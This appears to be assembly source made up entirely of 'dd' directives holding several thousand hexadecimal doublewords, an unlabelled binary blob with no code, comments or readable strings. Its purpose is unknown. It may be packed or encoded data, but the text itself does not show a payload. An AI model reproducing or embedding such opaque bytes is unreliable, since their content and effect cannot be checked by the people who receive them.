dd 0AAFD7000h, 3F1A40A7h, 0CD9A0162h, 8D7FE007h, 3431EC04h
dd 2EE4C50Fh, 7DF821E5h, 68800DFEh, 21B58682h, 167ABD3Ah
dd 7E772700h, 72052026h, 787A67h, 33F0CE0Ch, 3F6C18FBh
dd 81C7FC00h, 0FE465C3Bh, 94620077h, 17904815h, 30070E7Eh
dd 5C036618h, 41FE4E21h, 0F775F8h, 0A4D2C3Ch, 0A0C18B49h
dd 0EF996700h, 6DF16963h, 3F7C13h, 0DC8D39D1h, 0F06A2BF2h
dd 6CB14012h, 0F3FD2B00h, 0C36231h, 23EE810Ah, 857524D9h
dd 7F144905h, 0B5C5FD45h, 76A39C3h, 0A8427C6Ah, 7791F073h
dd 62037BE2h, 0B1B8461Ch, 0D21BE0AFh, 0E83C392Ch, 61BA1480h
dd 0F82DF410h, 6CE7201h, 75FF085Dh, 0C60B0EFh, 0C0E8076Eh
dd 0D0B6FDA2h, 0C985EC82h, 2B127F71h, 0DF075ED0h, 64E00D2Ah
dd 5BB35F4h, 8C063757h, 902BC0F0h, 7034612h, 497D834Ah
dd 819DE0A5h, 0B1F90017h, 7C660F3Ah, 0E90206BEh, 90109ED3h
dd 12FDC071h, 19130052h, 0F2BCED7Dh, 5004672h, 8EACBA66h
dd 7B3182h, 9A2FB3A9h, 0A7504C3h, 4DFFB905h, 0EE000DDEh
dd 3E6B322Eh, 74410764h, 132A56D8h, 10B04490h, 503B55Ch
dd 0FCC12DA4h, 2E098F0h, 481E005Eh, 0E64B5288h, 5000CB2Ch
dd 6D07625Dh, 0F14110Eh, 74778693h, 4C9CC840h, 0B400AD4Ah
dd 8CEC465Dh, 103B63h, 15640B72h, 4002291Ch, 7FDFEB1Fh
dd 1A388AC0h, 7DF80CC8h, 64F1001Bh, 4BF41626h, 0F207BA5Eh
dd 514E444Ch, 342507D0h, 8060094h, 50FE1391h, 205C67FDh
dd 575E0011h, 2590E9D6h, 0B47E00E0h, 27E85082h, 0BB019148h
dd 9D0EED4Ch, 99F3540Ah, 43FC2B63h, 0DD530F1Fh, 28E7A65Ch
dd 5016230Fh, 0EE09F9D8h, 0E8141002h, 6061C720h, 1EDD8015h
dd 0C337B81Ch, 9689F104h, 0EC46C3F9h, 0AC1F0EBEh, 4B009235h
dd 5C7A68B0h, 0A28D0071h, 0FD267712h, 9A1ECD2Fh, 514058B5h
dd 3894492Eh, 4FFF0022h, 2DF6F3C3h, 0AF001109h, 0D79E7323h
dd 51D0C8h, 6A621EB6h, 9499F502h, 41585700h, 0E08A6505h
dd 0F8F6EBh, 3260B63Eh, 50895951h, 0D09F0300h, 64EBDFDBh
dd 1012000Bh, 6233DAB0h, 6B00A7C9h, 94C65565h, 1A40D5Ah
dd 0B87604D2h, 0DC8DD34Ch, 48000AE2h, 0CC264A01h, 0EE51554Eh
dd 877EA6h, 5277E84Fh, 0DB4D3FE3h, 0C8004AECh, 142FBECBh
dd 58C64175h, 551C1E44h, 0B7D0C06Ah, 7C4CB950h, 94613Dh
dd 444303BEh, 2CDFE848h, 0F2CD24h, 0C4C6A9B9h, 400923AAh
dd 80857CF0h, 0A00AB5B2h, 197F6C7h, 5F0EFC43h, 0C8FB14F4h
dd 0AE02750Dh, 44748861h, 5064090h, 9B7BB9h, 0F859F913h
dd 0EC020698h, 64AC0405h, 1DEEE4D0h, 574ECF28h, 4B6F7181h
dd 0C9606042h, 2A001E75h, 2E8F039Eh, 0FC1CE9h, 73706C85h
dd 0B19C7508h, 3A62860Bh, 0E1550077h, 0EE36B6Eh, 8B1CF3CBh
dd 1D8866A5h, 0F633C7A8h, 6CC60B8h, 3000077Eh, 3C961F74h
dd 0E2ABB49Dh, 0F0440187h, 0A59B3C5h, 0F6823FCEh, 2E10C08Bh
dd 2AE200B5h, 0B297C44Ch, 590F44CCh, 40D4E542h, 0D0112CF2h
dd 29FF0012h, 0C948A40Ah, 3300AF22h, 581CE1D2h, 48901h
dd 0B9B31F56h, 77ECE23Dh, 0DF5E3Dh, 0ADE676A2h, 7CD5B4ACh
dd 8F170FF0h, 0FCA53878h, 0C6CDC048h, 2900A4B9h, 90BBA27h
dd 0E1F9BAFh, 5DA2D77Dh, 8F806EEFh, 0CEFD3C41h, 0C80720E9h
dd 54046A00h, 37503056h, 0DF442568h, 16245500h, 420099BAh
dd 90A4D4B8h, 7F4ACC7h, 4A045698h, 0FB8069FAh, 80102903h
dd 0AA2CA500h, 0E5784296h, 0BC7E0094h, 28DC4E54h, 98008C31h
dd 0A6869B88h, 13BA4AC6h, 7A6A42h, 5EA52FF7h, 70FACACBh
dd 8902807Bh, 0C2D40E09h, 825AC0C1h, 25E43Dh, 75B0A166h
dd 0E80C5E5Ah, 0DDD0F00h, 13C4F330h, 0FEDB0016h, 0C32FC2D9h
dd 0C0003506h, 0F448A23h, 2CFF1Eh, 8F1A4E47h, 0BC16CC20h
dd 54FEF80Fh, 9300F2C4h, 0F9558388h, 0FAE900AFh, 0D8434B5Fh
dd 2743B53h, 0D27E3Eh, 0C7256A4Ah, 55AE9Dh, 0EB41120Eh
dd 0A30FE620h, 144D0500h, 24731682h, 2210032h, 774CCE54h
dd 2B005033h, 0B78EF44Dh, 7E9FBE0h, 0BA6DC53Bh, 8DC0C084h
dd 29005077h, 0B75AF7E8h, 5C63B9C4h, 9000940Fh, 1F783352h
dd 55007EEBh, 4882694h, 7121179h, 0A2C314A4h, 0FA56F003h
dd 4E039FACh, 30E2B810h, 7459D898h, 736B040h, 0C4370E64h
dd 0F9A9B028h, 0DF900FF0h, 8E006174h, 22AF2516h, 471C4D6h
dd 0BAF0207Ah, 0A8FC04h, 671CDC4Dh, 2C5EC64h, 1A0C5903h
dd 1EE0B879h, 373E14CEh, 0B4080065h, 0B648E82Ch, 20990024h
dd 522D1DCAh, 4BE870A9h, 80E71000h, 0A8C48106h, 0BB3A00FBh
dd 5EDA90F5h, 850054E0h, 24D6D07Ah, 710BCF8h, 810D48D7h
dd 411BF0BDh, 1C00752Fh, 0EE5C987Ah, 0E88BFD44h, 25A000D4h
dd 469437E8h, 23017542h, 0EC971C9Ch, 48F02259h, 4F6100B5h
dd 95A0056Ah, 90014EBh, 4A339D2Bh, 20CCC5h, 0E85CB227h
dd 45759331h, 8842D01Fh, 24FEF300h, 11196h, 0BB125F22h
dd 130A7C54h, 2D05BF00h, 0A915A685h, 0E809003Ch, 69D61C4Fh
dd 0BB002145h, 0E0F31E12h, 0B5D831h, 0CE4D59E3h, 36D022Bh
dd 832EFF00h, 4B58BFD5h, 26360065h, 3F9DA4C2h, 5D0038A1h
dd 0FB40254Eh, 0ECF32DEAh, 4947000Ch, 0F4A49541h, 0A1FE3B6h
dd 28C01B6Bh, 0C896C0Dh, 0F8C60F67h, 420CAACh, 0B026CC91h
dd 0B4448600h, 9F6BBF06h, 0A4B800D2h, 54FBC10h, 0C0509DA5h
dd 6FCC4B6h, 0C800BDEAh, 8D22CC64h, 90504AA3h, 0A48C0EDCh
dd 0BC40BA86h, 60078B63h, 806BC63Dh, 520FB6B4h, 2E01A6h
dd 45859009h, 0D98C6FC0h, 242C4C00h, 6A107944h, 0D0A10013h
dd 7F80F0C2h, 1A012A61h, 409F0F2Fh, 9A70C8C4h, 7A9700CFh
dd 0E6B4035Ah, 6A7F2736h, 8ACA5100h, 7CE966A8h, 10680013h
dd 99EDA920h, 7B00480Bh, 494F1191h, 0EA406E43h, 98FAD3h
dd 0D217A33Bh, 8D7D30ABh, 0B3044700h, 9BBA693h, 0DDDB0184h
dd 742D2915h, 90DE4302h, 0E65A41B8h, 7D4A7200h, 5212C3Dh
dd 4D6E008Bh, 3B022408h, 0F5000789h, 0C3C7B5FCh, 5810DBCFh
dd 5A009471h, 0EC598B7Eh, 8003A234h, 0FC9182B7h, 0F3C095B4h
dd 3E6CFEh, 5A8F59F5h, 7E03C48Dh, 0BAF82000h, 5292B102h
dd 9A7E6B7h, 78800498h, 0BE00AA74h, 691B6693h, 168D0034h
dd 0F254090Eh, 52000429h, 0BA086365h, 36A1D79h, 331720F3h
dd 16C309DBh, 0E0D62BC8h, 0FB803F07h, 3BC07F06h, 2E5DDD34h
dd 0DF8E4h, 150F0EF1h, 0C3010C8Bh, 85B0D8E8h, 0FB709CB8h
dd 0DAE63A5Dh, 0EF1DEB8Ah, 2EC6059Dh, 0FDDBC0D3h, 55B88B04h
dd 77FA8503h, 806DE41Fh, 0C7089h, 0A0915A59h, 8880B494h
dd 0E42D0A03h, 0A281A54Dh, 0D0B88053h, 67744Ah, 600F060Bh
dd 7216EA83h, 0EB100403h, 90F8A123h, 0E421DDDFh, 74400FCh
dd 0C50477C1h, 340062C9h, 0CFF14858h, 247DC752h, 0ABDC50h
dd 0BCE9776Eh, 0BF01D35Fh, 0F3E07432h, 6F83CCCh, 0CFE200FCh
dd 297FB0C4h, 0BD00C27Ah, 168F720Ch, 67E8D3h, 0D40DA092h
dd 0C0A10BB9h, 0AF001898h, 0E43B57F0h, 7667DC6h, 0EECF869h
dd 100BC33Fh, 927CF4D0h, 50E88060h, 555AC01h, 68C1A1E0h
dd 0FB0A8058h, 0FC00EA51h
dd 0A5666F64h, 0B191CEh, 117FB762h, 0D3D52DE0h, 0F0466909h
dd 60558041h, 894831h, 5BB56FCCh, 0B9BC72AAh, 8C41FC2Ch
dd 63A6813Dh, 0C183040Ah, 1F2DF4CCh, 3AFDBBh, 9AC02456h
dd 8900AF4Eh, 0B683252h, 0F61F41Bh, 0D61D655Ch, 6A0D4680h
dd 8403FB91h, 0FE1EDDEAh, 2353D814h, 3C100055h, 8EEB7C72h
dd 0E204471Fh, 0BB379F33h, 0C13596C2h, 10203030h, 408C012Fh
dd 0E424AA25h, 0B095201Dh, 36C30307h, 5E50604h, 2B30487h
dd 9D09CB08h, 200C9C03h, 160EF80Dh, 1A840090h, 687013E8h
dd 93EE6675h, 3825B10Fh, 84FEE0D8h, 985C8A9h, 54CEE6EAh
dd 86AC7080h, 4839B042h, 84A9032Ah, 0BB298267h, 2EAD812h
dd 7B8300A8h, 0F7F6114h, 7C00A522h, 0B4496847h, 589C88h
dd 26961873h, 782F7024h, 0C748018h, 7D6212h, 15235AF0h
dd 87B3850Fh, 0B614B17h, 0A6164307h, 2470E471h, 719684FCh
dd 66D900A4h, 0A114B8FCh, 2500DA48h, 658B378Dh, 32E0A95h
dd 0E81F39B9h, 16E02AA7h, 2098B464h, 57335007h, 0C0C0BE8Bh
dd 3AC4443Ah, 3DBC990Bh, 4210C883h, 0B5F87DCCh, 522D0DD0h
dd 7F5500D4h, 1F883386h, 0A1AC44h, 8DCABCE4h, 89E82410h
dd 96633401h, 5AEB2948h, 0E9490D4h, 5C4A98C8h, 0A0C09CCEh
dd 0A832A4C4h, 0C1F317Eh, 95D8102h, 265C80CCh, 0E0696285h
dd 6E606E22h, 0A702A68Ah, 0BA8918C9h, 4963E003h, 3CB700BEh
dd 0E9CA8BD5h, 65FCD28Ch, 0DDBC7400h, 0B327ED7Ah, 8343077Ch
dd 39EFC89h, 0C2B8D00Bh, 0CB0103FDh, 74917208h, 3430641Dh
dd 2273002Ch, 0EFA85EC3h, 0F400553Bh, 5969CCA7h, 17D73017h
dd 0FDED83h, 0E1E0DD7Dh, 0A176F001h, 7D0B6600h, 855EA488h
dd 5D4000A5h, 38FF4C15h, 61DB292h, 0BE004657h, 8835905h
dd 0C99407F0h, 0F7CDDBh, 8257E815h, 0F6B82503h, 0B0216ACAh
dd 7F90C432h, 858400D4h, 0AC456C26h, 0F67F8139h, 0FECA9800h
dd 4DA2A32Eh, 0A1D81D42h, 0DF670180h, 0CC202162h, 5600FC44h
dd 0C77FA719h, 728D0C1h, 54FA4802h, 8320FE0Bh, 50798A98h
dd 3AA9A83Eh, 183DD8h, 0D1E88980h, 1788B6h, 948A8278h
dd 7F913967h, 9E4C2100h, 0DDA5E0ECh, 851C4889h, 0FECB1907h
dd 3D10A032h, 2A0040C6h, 9F09010Ch, 72350671h, 0C5B00372h
dd 131A65B4h, 9226BBE8h, 0A9A73400h, 8FA8DA24h, 0E47D56h
dd 0D8449821h, 0DF23E828h, 9D2AB60Fh, 0F4C2A0AAh, 96CDDC0h
dd 415782FFh, 8A503201h, 0B1AA3054h, 58AE6100h, 0EE6DA2Dh
dd 60D000A3h, 549E1042h, 8F0009D4h, 0C7D82808h, 0DC940Ch
dd 0BE0B846h, 1407529Eh, 8080B93Bh, 9C696E3Bh, 10E68Eh
dd 0C4B632BEh, 80661397h, 7AC23C02h, 60E07760h, 0E18A64h
dd 4CA29179h, 40F56E42h, 4EF73900h, 8598DFEBh, 27C00F6h
dd 300C8A12h, 914CE181h, 444849h, 44B2E906h, 1C26CE2Ch
dd 80800140h, 83490579h, 4100FEC9h, 4FBB07Bh, 102B207h
dd 658A13EBh, 7A4A3C38h, 2FC224C0h, 6C5E035Fh, 423796C4h
dd 0B563DD8h, 0F0074EAh, 0D6E2C7F6h, 0FE8F4Ah, 0A79A2D7h
dd 1EC93390h, 5607C500h, 2FCCF814h, 5C1F1C1h, 0BB5460h
dd 9CF04CB4h, 0F21217A0h, 537A8E00h, 0BC4E1440h, 568B5884h
dd 0DA1C3100h, 479130AFh, 25FE3F00h, 0ABDE13F8h, 0BBAA0716h
dd 0B0B6F117h, 72012C02h, 8E741500h, 3947CEA8h, 0BC70049h
dd 0FADC7516h, 0E800F43Ch, 0BC8AC52Ah, 6C8D24h, 0ACBE0460h
dd 6C70375h, 0EDCC0900h, 0F8463F1Eh, 0F5F2A3h, 0E312F713h
dd 89028D61h, 965C66F2h, 951D003Dh, 0FFE281C3h, 0EFE50203h
dd 0BFFC6284h, 60E8F7C1h, 4E00ACEBh, 37D7A06Ah, 3B159449h
dd 88009547h, 2AF509F7h, 0C3000F73h, 50085EF9h, 1D5540C5h
dd 409C926Ah, 0F6013347h, 8A0025EBh, 0D1063544h, 7D05Ch
dd 72D8042Ah, 87884316h, 82CDF53Fh, 0AB0D4926h, 0CCF26007h
dd 0B7500CBh, 2C683EEh, 0E003255Fh, 7A2A1D0Ah, 0CC50F040h
dd 5A1800AAh, 0B9A8285Dh, 10EC086Bh, 75496900h, 6D53F92Ch
dd 7C9842h, 0FBE82A14h, 0BF1BEAFAh, 4500B1F6h, 0E05135Eh
dd 1567DAh, 22EB92C7h, 7940505Ah, 0DF14BA00h, 0B3C35281h
dd 1F5C001Dh, 74ECB808h, 331329ADh, 13004F79h, 0A51BBA9Bh
dd 2AB40022h, 0A28670B9h, 0DF0353F0h, 308A0448h, 341CF899h
dd 138207EEh, 807DE949h, 0F1A24C3Ah, 1400B1F0h, 1D0FBA2Ch
dd 0F88AB788h, 4131EF2h, 3C0EC02Eh, 0E44AA9F3h, 196E4C16h
dd 0A280351Dh, 2FB120F4h, 0A51D01BAh, 0C8F59037h, 88A4FCDCh
dd 0D11F3Bh, 2D7B5D3Ch, 0E468A3h, 0F8B8292Ah, 8D4C4D2h
dd 2044B41Fh, 5AC8007Bh, 0B804EFD8h, 942860FCh, 6D1EBA3Ah
dd 751FB77Bh, 0CCDDD022h, 53CFB3Fh, 1AB83155h, 8FF26272h
dd 0CF29CFEDh, 3C3FDE0Ah, 0F8510108h, 0F48ACB3Dh, 79C865E0h
dd 34251D72h, 0D64A8047h, 0FC1A469Dh, 45E4BA00h, 1FB263D3h
dd 0CA143EF0h, 643FC403h, 87A96823h, 0A675DC10h, 57721F0h
dd 3CC0E507h, 0BA90F462h, 0F847FCh, 3A8A0CF2h, 6EE24C3h
dd 68001B7Ch, 100A211Ch, 0CB8F4h, 0CF66A5C9h, 1D29EB2Bh
dd 0F928912Ch, 0F949DA00h, 4160F0Ch, 7DB875F0h, 0DDABC0E3h
dd 0F500BA99h, 0B2F46E29h, 0ECA4A4Eh, 0CC3025D4h, 6D064400h
dd 647D2F39h, 43FCDD0Fh, 30E2358h, 722CD020h, 266C3E3h
dd 0CE8618Ah, 1D007051h, 96684C42h, 60F6F924h, 4120D831h
dd 501E724Dh, 51004AE1h, 0B88B440Fh, 3AB3008Ch, 0DB84CE52h
dd 7300FB19h, 530B108Eh, 262CCBBh, 37811D7h, 65404B7Fh
dd 77008312h, 859F2AC6h, 0E2D0EB43h, 88680053h, 3F094091h
dd 0B2007548h, 98F1864Ch, 1531821h, 0A32347E8h, 0D925BD38h
dd 5A06EC3Dh, 0B60A5Ch, 13406974h, 3D21E992h, 3E7CA84Bh
dd 73030744h, 8F72466Bh, 617053E8h, 45F86300h, 0A2416478h
dd 97AB1D10h, 0B2C2C0BBh, 58045D6Ch, 0C800E698h, 0C798928Eh
dd 3011DC42h, 0E46E8924h, 0DAC1B0E8h, 22A88F93h, 4844E0F8h
dd 31075DA0h, 0B0189198h, 21286490h, 4048881Eh, 5C328085h
dd 0F4268800h, 3C704431h, 6887C8FCh, 9E601C9Dh, 58891040h
dd 24033C12h, 61884C50h, 9178D048h, 7C403011h, 2C993864h
dd 131E30F0h, 2841220Ch, 24D22045h, 31848C4h, 10B1B899h
dd 0A2077813h, 51706E08h, 0C0BC3153h, 77B361F8h, 30F03D81h
dd 0E80318BCh, 48D4BE01h, 28E0548Ah, 223E29DFh, 88DC0FA1h
dd 0C4666019h, 24B044D8h, 33A6267h, 0D0183238h, 0CA88CABh
dd 801D24CCh, 601DC872h, 45FC41Fh, 0ACC03C4Eh, 0EBC2484h
dd 0B8249912h, 0B4396883h, 0B0A3D4C3h, 0CE9CCE3h, 0F58CF5ACh
dd 0E4F0F5A8h, 0D0FCA43Ch, 0CFA01CCFh, 0CF9CCF34h, 9830C7C8h
dd 940F4CE4h, 905CC4CCh, 8C39A3A0h, 88E87CFCh, 24CF48FAh
dd 38E0AC84h, 7CEFD80h, 1CF47Ch, 68281178h, 89740F18h
dd 70EE4C04h, 0DEBF64AEh, 0FBFAC6Ch, 44ED683Ch, 0F8FAF71Eh
dd 5CF36007h, 2FE2F84Dh, 3EC8F274h, 0CBA9458h, 0CFF454BAh
dd 60475014h, 914CF13Ch, 0F840F930h, 0EFFD1814h, 0CAF0BCF3h
dd 9FC700Ah, 7D97E800h, 81BA2098h, 80510995h, 0E0803F60h
dd 7446724Eh, 36BC4105h, 0FA8025B9h, 74450AB8h, 0F3133AFCh
dd 4A82F980h, 0A4095517h, 10015F01h, 0D2B8057Dh, 7EC099E9h
dd 0B1483907h, 0E5500C02h, 5A40800Fh, 202107Dh, 18BF0372h
dd 2C7F40FBh, 9B831F4Ch
dd 0D0FCC08Bh, 282DF876h, 317FFF00h, 86730232h, 0F3E11CC8h
dd 0B48D007Eh, 4AA87449h, 66FC400Fh, 0EBA4A2C1h, 0E76D6123h
dd 0B0B60FC0h, 0FB80009Bh, 0BC37401h, 9007704h, 6C30BFF3h
dd 7EB03Bh, 1AB8B302h, 4F9D140Dh, 2F588E0Fh, 8C44A0A1h
dd 10917BEh, 763352A3h, 0E011D825h, 88028F4Bh, 0AAC81B1h
dd 2B57E0C0h, 0C3B01F82h, 86E64084h, 2D3D1480h, 6D55AA12h
dd 0E04DFC0Fh, 0CA83BE5h, 11F007Fh, 7CFDF983h, 0C97E0B1Ah
dd 4E861C00h, 4A3E80AAh, 0A0401F27h, 0F766C02Fh, 0D8F320D9h
dd 0BF1CEB00h, 8F42C311h, 19740091h, 2F8E2C5h, 8A001508h
dd 6623A2E0h, 0A20E86ABh, 2A54C0C3h, 4081007Fh, 0E3FE3306h
dd 2B00F225h, 5EAB6293h, 0F48A0B14h, 8B8C0F29h, 116049D2h
dd 2BB48719h, 86081C01h, 27204EAh, 0EB09330h, 0E65D8A45h
dd 0E455BF00h, 0BDF8AA4Ah, 3B6DD21Ch, 90E2EBC0h, 83067Dh
dd 0D7DAF7A7h, 0B1E46A6Fh, 0C4008AE0h, 8B5092AAh, 32DC61h
dd 258C35F7h, 5B23F1Dh, 49430A01h, 0ED15D50Bh, 8BE980E7h
dd 0AA040709h, 10F8DC3Bh, 4B735852h, 830E0F98h, 0A01D12FAh
dd 5638BA05h, 496F00E2h, 0EB04D6B5h, 0DB013328h, 0E03A8889h
dd 48C0C11Dh, 0F60300B3h, 43DC8AF3h, 1488EACh, 4B0D002Dh
dd 3DA0F475h, 0C57C031Eh, 4AEAEB32h, 0C3FF1AA8h, 3C2EE358h
dd 0C058073h, 27F97541h, 26CF072Bh, 708EC3F7h, 81891D8Ah
dd 46A43200h, 220B6452h, 0F211CF1h, 0D93A0004h, 0E9027F76h
dd 8DDDCC00h, 1A9B9C09h, 0C9241790h, 48F805h, 1E74D03Ch
dd 7E537651h, 7A293B48h, 0AE92AA8h, 3E80C8Ch, 0F7CC0784h
dd 595B407Fh, 0E2014312h, 0AC0BEBDCh, 7DC04A35h, 5C00041h
dd 0EADFC42Bh, 26B8B701h, 0BA402A00h, 0BDE7602h, 1720029Bh
dd 289958F7h, 2DFDACE0h, 831A473Fh, 0F97E05D4h, 0EB48DBB6h
dd 1C51F9A3h, 0C07FFBECh, 1BF52E10h, 6A391338h, 3600FD20h
dd 33C81067h, 299D28h, 99593577h, 6E1940D0h, 0D9D60B1Eh
dd 69269C40h, 7B2B202Fh, 4470007h, 4FEE0990h, 0E9EAC1EAh
dd 136BC200h, 8C5AE8Fh, 5D770Bh, 0DE4F1673h, 68C61B28h
dd 0F0578D00h, 5A80E84Ch, 9C220081h, 4BE96CBAh, 591F13F4h
dd 60C79001h, 80F7B951h, 0C0A0A4C7h, 0FE6F2B7h, 0E3AFF599h
dd 3D46EF20h, 7400344Ah, 0F9C70C17h, 0D11166h, 16207536h
dd 1A7E2A52h, 145B3900h, 990F4C0Eh, 54FC079Bh, 3046BA33h
dd 403421EBh, 0B716C30Eh, 8745C019h, 0DA74D7h, 55F0F73Bh
dd 4E775D05h, 1C042498h, 0D0E9FB26h, 8BF00BBh, 3CAC1DE3h
dd 374272Ch, 4D228039h, 103E9620h, 0EF560060h, 648AEDE2h
dd 47F1906h, 52450B07h, 0C373020Dh, 3AAC88C0h, 0D0F400C4h
dd 0F7141BB2h, 0FF00E7EBh, 89BBA865h, 18E318Ch, 0A1C76630h
dd 0F08693BFh, 0F8125588h, 88006106h, 0D1267423h, 3925E430h
dd 2C002EE1h, 33C697F3h, 352E44C1h, 3A398931h, 653B3Ah
dd 1896DF36h, 0D78B46h, 424039EBh, 0D32D4CD8h, 1EDBFE01h
dd 0CABF79DAh, 83C7D4h, 0F7D9E880h, 0EC5589C1h, 3E60CB00h
dd 0EB01F8A2h, 71A400B6h, 1432AF43h, 0A7002DAEh, 0A1B42B93h
dd 9C0FFAh, 0FBC1B801h, 589666EBh, 116BEC00h, 2703F80Eh
dd 0A6D83DA0h, 4EE5C180h, 0E02D6EBDh, 4FD58709h, 0E4E7006Ah
dd 222C35Bh, 6084482Ah, 61E06B29h, 0E48BA13h, 0C20776A2h
dd 5721C385h, 2BE35680h, 0D874030Dh, 0D680DCC7h, 0D1F0EAF8h
dd 5D8D6300h, 28C25F90h, 0E7FC0008h, 0A4F8C4CAh, 270045CEh
dd 48F324DAh, 1E1E91EFh, 40441A22h, 7538920h, 0C0074FC4h
dd 0E6E8D4A3h, 0ACCD82D0h, 0C66E00B7h, 0F43FF02Bh, 803C2606h
dd 0C0FE02FCh, 60752D0Ah, 59DE4ABh, 412E74C4h, 0A4A68146h
dd 5ECDE4F9h, 3880500h, 0EE8A6B53h, 8DCF1F2Ah, 0D6AD8742h
dd 0EB5BF0ABh, 0A400CC88h, 0D8DEA1C3h, 1B8C41h, 7FD307Ch
dd 4DFF01F5h, 7475F425h, 0BB0D00C4h, 3414DE45h, 0E40FC400h
dd 41AB127Eh, 43290104h, 4B0B1F91h, 0F9987150h, 0DEC16031h
dd 6BB86600h, 2E6C9622h, 9E1E00EBh, 9A88FC25h, 0DD004517h
dd 0F7EE7E0h, 1CC9B258h, 808DF228h, 0BF065975h, 0C200AA9Ah
dd 45D36649h, 64E31Ah, 0A9F938B4h, 847A16D8h, 736D3100h
dd 0C92E3283h, 8DA70008h, 0D0445F46h, 0F5008925h, 0A03D0320h
dd 58227507h, 4600BB09h, 119FA506h, 737B90AAh, 9D7E811Fh
dd 326B800h, 0E1340h, 0CDC43C6h, 0DB8D6BE9h, 2D2E0801h
dd 69053FFFh, 2104E12Fh, 5B6C7048h, 83C44000h, 0E051ECA2h
dd 0E1D901F4h, 72BFE837h, 0DBFCD80Eh, 749C2D00h, 9BF2D8A7h
dd 83DD3C48h, 0FAA8D401h, 0FC410B70h, 9A00DA09h, 0F8EF80BCh
dd 7E675DFh, 3187BF2h, 9B6BF0BAh, 4400148Ah, 7DDE515h
dd 8E8C0h, 660F7004h, 45E33005h, 621DE27Ch, 480032EBh
dd 64CBCAAh, 82F0073h, 8205C879h, 0C00F83Bh, 0A303C96h
dd 712FF83h, 8027730Fh, 351F707Ch, 44E425C6h, 4FE00E00h
dd 0FE0D781Ah, 13800011h, 0EBED7739h, 2F981F14h, 3128A601h
dd 525F9862h, 7A533530h, 21190325h, 0F150A190h, 77835688h
dd 0C1303A00h, 389D6EAh, 53120088h, 6A80C302h, 6008BEEh
dd 0A0042ECEh, 7CA0BC8h, 0B46B840Fh, 79FC4069h, 5C2C9DAEh
dd 0EA008361h, 1EFF13F3h, 607A00D1h, 1F7C04F6h, 0F4891BFh
dd 82D0EFDh, 81A70064h, 0B6B3DAh, 15730DE0h, 0E0549F2h
dd 27D22103h, 98989378h, 0DFF410h, 0B8D7146Dh, 0C22B122Ah
dd 0DA790104h, 9FC18534h, 0E44062F5h, 614057h, 0F7A4B91Bh
dd 0C0DF6A1h, 0F93DFE00h, 24C4811Eh, 1F75000Fh, 0EBECCC49h
dd 0A00397Bh, 0AA3004C1h, 1E7820h, 2122D489h, 0EA44316Ch
dd 0B009873h, 3134C8Dh, 0C61602h, 80D58207h, 0F7D1853Fh
dd 0CCB9540Eh, 0E5EB271Fh, 88D271E0h, 0D5FB008Ah, 6FF19E9h
dd 0B900F008h, 9D9B1CD1h, 261EBA7Dh, 27E2DBh, 6BF89A6h
dd 0F600E8EEh, 3E13C185h, 5C0DFF80h, 303AD7C5h, 464E0107h
dd 7075F0FCh, 7D008286h, 53A0CE0h, 2C6699h, 1246152Bh
dd 3B1F0748h, 4AD8CE1Fh, 0B0DF2400h, 5CD4B81Dh, 0E83B960Ch
dd 2A582B80h, 9C43D003h, 0DE252404h, 0BDC11362h, 0AAFC8498h
dd 1C35F212h, 825002F9h, 3E52E0D9h, 3FDFB0E0h, 0DB6EEB00h
dd 8AFF9B8Eh, 0D2A90266h, 0B0179E26h, 0DD90C1E3h, 527F89BCh
dd 906D2800h, 0C30B859Bh, 989900ACh, 4ECA4320h, 0C40027DDh
dd 0F03A2CF3h, 0F730Ah, 290DDA26h, 0CE904349h, 53B80600h
dd 131CEA52h, 140E008Ah, 619DB3CAh, 0A93D9428h, 6BE4002Ah
dd 9040EDD2h, 0F4FA0381h, 720A9E9Ch, 2143801h, 0BCC54BB5h
dd 0B871F8h, 250E978Ah, 0F0340F4h, 0B67850Fh, 7606A055h
dd 0FE81216h, 3F957AA7h, 741B0520h, 1C002029h, 16B93862h
dd 3C278B40h, 0DF8FB015h, 5B40C477h, 0B932D1B8h, 3D52073Fh
dd 34450030h, 0AF3F272Bh, 43906Ah, 511008EEh, 88154B90h
dd 42003EB8h, 0E40C2344h, 1E793A14h, 73918Ah, 85080A5Ch
dd 0B11E0490h, 210074FCh, 2CEC64F8h, 60422CE0h, 56520027h
dd 97915014h, 0CF19507h, 8762FC78h, 8225C008h, 0B8400073h
dd 8C5D54BCh, 8D0024D7h, 158B64A8h, 8043F3h, 0CB4EC93Dh
dd 1C303312h, 9810BA00h, 708D404Bh, 734F00D4h, 76B30BC4h
dd 743F8744h, 0EC7A8045h, 5798F20Dh, 258C006Fh, 302F206Eh
dd 42E4F178h, 1C0E397Eh
dd 0E7760410h, 0A8340E1h, 2B110082h, 5025D453h, 8B0BB273h
dd 33E9ABAh, 0F860A7EEh, 0E1A5D84Eh, 1318960h, 0F71EE3DBh
dd 408A07D0h, 97C1FF8Fh, 0D80E1879h, 0D108B3h, 350573E0h
dd 71060B41h, 70809DDBh, 0ACE6E2F3h, 85C33803h, 0B9038B61h
dd 53F8F420h, 1F30E618h, 3085DF2h, 98DB0CE6h, 0F410E099h
dd 8D122E7Ch, 0E0E3353h, 0E7D140B0h, 0D74DFDh, 0AEF8DC3Dh
dd 0F2015AC3h, 76F68500h, 3C647163h, 0CAE029h, 0EEE0E9C1h
dd 35FF983h, 1F7E800h, 0E78166FAh, 0BA0F00FFh, 2CE5C26h
dd 0C7003BF8h, 9DD02177h, 10CDF5h, 4E14069Fh, 0E09373FAh
dd 0B507247Eh, 47E88801h, 0C5BF023Bh, 0EB3FC07Eh, 212C011Ch
dd 1F0F5372h, 0CC10E4C6h, 4E0002E0h, 0B8B9D75h, 0E498C985h
dd 0FF7A3E35h, 3BCAFB80h, 4F5FE15Ah, 0E54EB014h, 2BA9008Ch
dd 4C770CBAh, 0DAB8177Dh, 0C2690145h, 30080110h, 0CE1F71A7h
dd 3ABE5920h, 16378099h, 0B1438D27h, 0E06E00C3h, 0E9775A35h
dd 0CC03CA55h, 0C085C950h, 0C73CA876h, 0D6810033h, 0F30C5D70h
dd 100E540h, 0DC92772h, 71C2F002h, 0D68B3E13h, 0CF507480h
dd 0F8D103D2h, 87057539h, 0CEB3201h, 0B4A6B080h, 0A02F0054h
dd 91757948h, 11FE42A5h, 0B657700h, 75676B5h, 5478ABh
dd 9D7B22BBh, 0BFAE3CECh, 0B10C7000h, 9A2DC2B4h, 0A049481Ch
dd 0CE34A11Dh, 52E0880Ah, 0FED0845Fh, 77F23200h, 0C8F94CAh
dd 0FAD1004Bh, 8A7F2089h, 11005653h, 0B8E1CB27h, 0ADA17h
